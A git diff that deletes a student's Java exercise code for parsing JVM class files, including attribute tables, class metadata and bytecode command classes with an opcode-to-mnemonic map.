-            } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
-                StackMapTable t = StackMapTable.parse(iter);
-                codeAttr.setStackMapTable(t);
-            } else {
-                throw new RuntimeException("Need code to process " + subAttrName);
-            }
-
-
-        }
-
-        return codeAttr;
-    }
-
-
-    public String toString(ConstantPool pool) {
-        StringBuilder buffer = new StringBuilder();
-        buffer.append("Code:").append(code).append("\n");
-        for (int i = 0; i < cmds.length; i++) {
-            buffer.append(cmds[i].toString(pool)).append("\n");
-        }
-        buffer.append("\n");
-        buffer.append(this.lineNumTable.toString());
-        buffer.append(this.localVarTable.toString(pool));
-        return buffer.toString();
-    }
-
-    private void setStackMapTable(StackMapTable t) {
-        this.stackMapTable = t;
-
-    }
-
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/LineNumberTable.java b/group15/1507_977996067/src/task7/jvm/attr/LineNumberTable.java
deleted file mode 100644
index ebaec852b9..0000000000
--- a/group15/1507_977996067/src/task7/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,72 +0,0 @@
-package task7.jvm.attr;
-
-import task7.jvm.loader.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class LineNumberTable extends AttributeInfo {
-    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-
-    private static class LineNumberItem {
-        int startPC;
-        int lineNum;
-
-        public int getStartPC() {
-            return startPC;
-        }
-
-        public void setStartPC(int startPC) {
-            this.startPC = startPC;
-        }
-
-        public int getLineNum() {
-            return lineNum;
-        }
-
-        public void setLineNum(int lineNum) {
-            this.lineNum = lineNum;
-        }
-    }
-
-    public void addLineNumberItem(LineNumberItem item) {
-        this.items.add(item);
-    }
-
-    public LineNumberTable(int attrNameIndex, int attrLen) {
-        super(attrNameIndex, attrLen);
-
-    }
-
-    public static LineNumberTable parse(ByteCodeIterator iter) {
-
-        int index = iter.next2Bytes();
-        int len = iter.next4Bytes();
-
-        LineNumberTable table = new LineNumberTable(index, len);
-
-        int itemLen = iter.next2Bytes();
-
-        for (int i = 1; i <= itemLen; i++) {
-            LineNumberItem item = new LineNumberItem();
-            item.setStartPC(iter.next2Bytes());
-            item.setLineNum(iter.next2Bytes());
-            table.addLineNumberItem(item);
-        }
-        return table;
-    }
-
-    public String toString() {
-        StringBuilder buffer = new StringBuilder();
-        buffer.append("Line Number Table:\n");
-        for (LineNumberItem item : items) {
-            buffer.append("startPC:" + item.getStartPC()).append(",");
-            buffer.append("lineNum:" + item.getLineNum()).append("\n");
-        }
-        buffer.append("\n");
-        return buffer.toString();
-
-    }
-
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/LocalVariableItem.java b/group15/1507_977996067/src/task7/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index fbb27e8812..0000000000
--- a/group15/1507_977996067/src/task7/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package task7.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/LocalVariableTable.java b/group15/1507_977996067/src/task7/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 7bcf199b3c..0000000000
--- a/group15/1507_977996067/src/task7/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package task7.jvm.attr;
-
-
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.loader.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class LocalVariableTable extends AttributeInfo {
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-	}
-
-
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);
-	}
-
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-
-		int index = iter.next2Bytes();
-		int len = iter.next4Bytes();
-
-		LocalVariableTable table = new LocalVariableTable(index,len);
-
-		int itemLen = iter.next2Bytes();
-
-		for(int i=1; i<=itemLen; i++){
-			LocalVariableItem item = new LocalVariableItem();
-			item.setStartPC(iter.next2Bytes());
-			item.setLength(iter.next2Bytes());
-			item.setNameIndex(iter.next2Bytes());
-			item.setDescIndex(iter.next2Bytes());
-			item.setIndex(iter.next2Bytes());
-			table.addLocalVariableItem(item);
-		}
-		return table;
-	}
-	
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/StackMapTable.java b/group15/1507_977996067/src/task7/jvm/attr/StackMapTable.java
deleted file mode 100644
index f57144783d..0000000000
--- a/group15/1507_977996067/src/task7/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package task7.jvm.attr;
-
-
-import task7.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo {
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.next2Bytes();
-		int len = iter.next4Bytes();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group15/1507_977996067/src/task7/jvm/clz/AccessFlag.java b/group15/1507_977996067/src/task7/jvm/clz/AccessFlag.java
deleted file mode 100644
index e333b4621d..0000000000
--- a/group15/1507_977996067/src/task7/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package task7.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/clz/ClassFile.java b/group15/1507_977996067/src/task7/jvm/clz/ClassFile.java
deleted file mode 100644
index 1587998e29..0000000000
--- a/group15/1507_977996067/src/task7/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,134 +0,0 @@
-package task7.jvm.clz;
-
-import task7.jvm.constant.ClassInfo;
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.field.Field;
-import task7.jvm.method.Method;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ClassFile {
-
-    private int minorVersion;
-    private int majorVersion;
-
-    private AccessFlag accessFlag;
-    private ClassIndex clzIndex;
-    private ConstantPool pool;
-
-    private List<Field> fields = new ArrayList<>();
-    private List<Method> methods = new ArrayList<>();
-
-    public void setClzIndex(ClassIndex clzIndex) {
-        this.clzIndex = clzIndex;
-    }
-
-    public ConstantPool getPool() {
-        return pool;
-    }
-
-    public void setPool(ConstantPool pool) {
-        this.pool = pool;
-    }
-
-    public List<Field> getFields() {
-        return fields;
-    }
-
-    public void setFields(List<Field> fields) {
-        this.fields = fields;
-    }
-
-    public List<Method> getMethods() {
-        return methods;
-    }
-
-    public void setMethods(List<Method> methods) {
-        this.methods = methods;
-    }
-
-    public ClassIndex getClzIndex() {
-        return clzIndex;
-    }
-
-    public AccessFlag getAccessFlag() {
-        return accessFlag;
-    }
-
-    public void setAccessFlag(AccessFlag accessFlag) {
-        this.accessFlag = accessFlag;
-    }
-
-
-    public ConstantPool getConstantPool() {
-        return pool;
-    }
-
-    public int getMinorVersion() {
-        return minorVersion;
-    }
-
-    public void setMinorVersion(int minorVersion) {
-        this.minorVersion = minorVersion;
-    }
-
-    public int getMajorVersion() {
-        return majorVersion;
-    }
-
-    public void setMajorVersion(int majorVersion) {
-        this.majorVersion = majorVersion;
-    }
-
-    public void setConstPool(ConstantPool pool) {
-        this.pool = pool;
-
-    }
-
-    public void setClassIndex(ClassIndex clzIndex) {
-        this.clzIndex = clzIndex;
-    }
-
-    public void print() {
-
-        if (this.accessFlag.isPublicClass()) {
-            System.out.println("Access flag : public  ");
-        }
-        System.out.println("Class Name:" + getClassName());
-
-        System.out.println("Super Class Name:" + getSuperClassName());
-
-
-    }
-
-    public String getClassName() {
-        int thisClassIndex = this.clzIndex.getThisClassIndex();
-        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
-        return thisClass.getClassName();
-    }
-
-    public String getSuperClassName() {
-        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-        return superClass.getClassName();
-    }
-
-    public Method getMethod(String methodName, String paramAndReturnType) {
-
-        for (Method method : methods) {
-            int nameIndex = method.getNameIndex();
-            int descriptorIndex = method.getDescriptorIndex();
-            String name = getConstantPool().getUTF8String(nameIndex);
-            String descriptor = getConstantPool().getUTF8String(descriptorIndex);
-            if (methodName.equalsIgnoreCase(name) && paramAndReturnType.equalsIgnoreCase(descriptor)) {
-                return method;
-            }
-        }
-        return null;
-    }
-
-    public Method getMainMethod() {
-
-        return getMethod("main", "([Ljava/lang/String;)");
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/clz/ClassIndex.java b/group15/1507_977996067/src/task7/jvm/clz/ClassIndex.java
deleted file mode 100644
index b4342d6557..0000000000
--- a/group15/1507_977996067/src/task7/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package task7.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/BiPushCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index b80f830944..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantInfo;
-import task7.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/ByteCodeCommand.java b/group15/1507_977996067/src/task7/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index e4c9e2ac2d..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package task7.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantInfo;
-import task7.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-//	public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/CommandParser.java b/group15/1507_977996067/src/task7/jvm/cmd/CommandParser.java
deleted file mode 100644
index f6a12e1701..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,124 +0,0 @@
-package task7.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import task7.jvm.clz.ClassFile;
-
-public class CommandParser {
-
-    public static final String aconst_null = "01";
-    public static final String new_object = "BB";
-    public static final String lstore = "37";
-    public static final String invokespecial = "B7";
-    public static final String invokevirtual = "B6";
-    public static final String getfield = "B4";
-    public static final String putfield = "B5";
-    public static final String getstatic = "B2";
-    public static final String ldc = "12";
-    public static final String dup = "59";
-    public static final String bipush = "10";
-    public static final String aload_0 = "2A";
-    public static final String aload_1 = "2B";
-    public static final String aload_2 = "2C";
-    public static final String iload = "15";
-    public static final String iload_1 = "1B";
-    public static final String iload_2 = "1C";
-    public static final String iload_3 = "1D";
-    public static final String fload_3 = "25";
-
-    public static final String voidreturn = "B1";
-    public static final String ireturn = "AC";
-    public static final String freturn = "AE";
-
-    public static final String astore_1 = "4C";
-    public static final String if_icmp_ge = "A2";
-    public static final String if_icmple = "A4";
-    public static final String goto_no_condition = "A7";
-    public static final String iconst_0 = "03";
-    public static final String iconst_1 = "04";
-    public static final String istore_1 = "3C";
-    public static final String istore_2 = "3D";
-    public static final String iadd = "60";
-    public static final String iinc = "84";
-
-    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-        codes = codes.toUpperCase();
-        System.out.println("=========> codes: " + codes);
-        CommandIterator iterator = new CommandIterator(codes);
-        List<ByteCodeCommand> commands = new ArrayList<>();
-        while (iterator.hasNext()) {
-            String opCode = iterator.next2CharAsString();
-            switch (opCode) {
-                case new_object:
-                    NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, codes);
-                    newObjectCmd.setOprand1(iterator.next2CharAsInt());
-                    newObjectCmd.setOprand2(iterator.next2CharAsInt());
-                    commands.add(newObjectCmd);
-                    break;
-                case ldc:
-                    LdcCmd ldcCmd = new LdcCmd(clzFile, codes);
-                    ldcCmd.setOperand(iterator.next2CharAsInt());
-                    commands.add(ldcCmd);
-                    break;
-                case bipush:
-                    BiPushCmd biPushCmd = new BiPushCmd(clzFile, codes);
-                    biPushCmd.setOperand(iterator.next2CharAsInt());
-                    commands.add(biPushCmd);
-                    break;
-                case invokespecial:
-                    InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, codes);
-                    invokeSpecialCmd.setOprand1(iterator.next2CharAsInt());
-                    invokeSpecialCmd.setOprand2(iterator.next2CharAsInt());
-                    commands.add(invokeSpecialCmd);
-                    break;
-                case invokevirtual:
-                    InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, codes);
-                    invokeVirtualCmd.setOprand1(iterator.next2CharAsInt());
-                    invokeVirtualCmd.setOprand2(iterator.next2CharAsInt());
-                    commands.add(invokeVirtualCmd);
-                    break;
-                default:
-                    NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, codes);
-                    commands.add(noOperandCmd);
-            }
-        }
-        calcuateOffset(commands);
-        return commands.toArray(new ByteCodeCommand[commands.size()]);
-    }
-
-    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-        int offset = 0;
-        for (ByteCodeCommand cmd : cmds) {
-            cmd.setOffset(offset);
-            offset += cmd.getLength();
-        }
-
-    }
-
-    private static class CommandIterator {
-        String codes = null;
-        int pos = 0;
-
-        CommandIterator(String codes) {
-            this.codes = codes;
-        }
-
-        public boolean hasNext() {
-            return pos < this.codes.length();
-        }
-
-        public String next2CharAsString() {
-            String result = codes.substring(pos, pos + 2);
-            pos += 2;
-            return result;
-        }
-
-        public int next2CharAsInt() {
-            String s = this.next2CharAsString();
-            return Integer.valueOf(s, 16);
-        }
-
-    }
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/GetFieldCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 531770d8b9..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/GetStaticFieldCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index 7f43150ca2..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ClassInfo;
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.constant.FieldRefInfo;
-import task7.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/InvokeSpecialCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index ffe71dfb15..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/InvokeVirtualCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index de80616b39..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/LdcCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/LdcCmd.java
deleted file mode 100644
index 143b070968..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantInfo;
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/NewObjectCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 09ffc20c19..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/NoOperandCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 16810f3874..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/OneOperandCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 713610e243..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/PutFieldCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index df2b895c03..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/TwoOperandCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 9cf2fded56..0000000000
--- a/group15/1507_977996067/src/task7/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package task7.jvm.cmd;
-
-import task7.jvm.clz.ClassFile;
-import task7.jvm.constant.ClassInfo;
-import task7.jvm.constant.ConstantInfo;
-import task7.jvm.constant.ConstantPool;
-import task7.jvm.constant.FieldRefInfo;
-import task7.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/ClassInfo.java b/group15/1507_977996067/src/task7/jvm/constant/ClassInfo.java
deleted file mode 100644
index 8c2af5157a..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package task7.jvm.constant;
-
-import task7.jvm.print.ConstantInfoVisitor;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-
-	@Override
-	public void accept(ConstantInfoVisitor visitor) {
-		visitor.visitClassInfo(this);
-	}
-
-	public String getClassName() {
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/ConstantInfo.java b/group15/1507_977996067/src/task7/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 24922e29d3..0000000000
--- a/group15/1507_977996067/src/task7/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package task7.jvm.constant;
-
-import task7.jvm.print.ConstantInfoVisitor;
-
-public abstract class ConstantInfo {
-    public static final int UTF8_INFO = 1;
-    public static final int FLOAT_INFO = 4;
